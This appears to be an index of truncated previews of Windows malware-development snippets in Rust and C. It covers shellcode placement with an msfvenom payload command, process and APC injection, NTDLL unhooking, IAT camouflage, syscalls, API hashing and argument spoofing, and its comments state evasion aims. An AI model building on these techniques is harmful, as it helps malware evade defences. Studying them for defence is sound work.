Shellcode Placement shellcode_placement.rs use std::io::{self, Read}; // Msfvenom calc shellcode // Msfvenom -p windows/x64/exec CMD=calc.exe -f c // .data saved payload static mut DATA: [u8; ...

Process-Injection (Local) main.rs use winapi::um::winbase::lstrcmpW; use winapi::um::winnt::{HANDLE, PVOID, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PROCESS_ALL_ACCESS, MEM_COMMIT, MEM_RESERVE}; u...

Process-Enumeration main.rs #![allow(dead_code)] use std::ffi::OsStr; use std::io::Read; use std::os::windows::ffi::OsStrExt; use std::ptr::null_mut; use winapi::shared::minwindef::{DWORD, FALS...

APC-Injection main.rs use std::{ io::{self, Write}, ptr::{null_mut, copy_nonoverlapping}, mem::transmute, }; use rand::Rng; use winapi::{ ctypes::c_void, shared::minwindef::FA...

Unhooking NTDLL - Knowndlls ntdll-knowndlls.c /* Windows maintains a special object directory named "\KnownDlls" that contains section objects for a set of commonly used system DLLs. Processe...

IAT-Camoflage iat-camoflage.c /* - Its important to make the malware appear to be normal so to instead hiding WinAPI's, its more effective to create fake imported functions. - This can be done ...

Syscalls-Syswhisphers syscall-syswhisphers.c

Syscalls-ProcessInjection Syscalls-processinjection.c /* Explaination: - We are going to implement remote process injection with syscalls. Below will be the WinAPI and their syscall replacemen...

StaticAPI-Hashing apihashing.c #include <Windows.h> // Core Windows API definitions (HMODULE, FARPROC, etc.) #include <stdio.h> // For printf() and getchar() #include ...

ProcessArgumentSpoofing ProcArgSpoofing.c #include <stdio.h> #include "structs.h" #pragma warning (disable:4996) #define STARTUP_ARGS L"powershell.exe N0xshell" #define REAL_ARGS L"powers...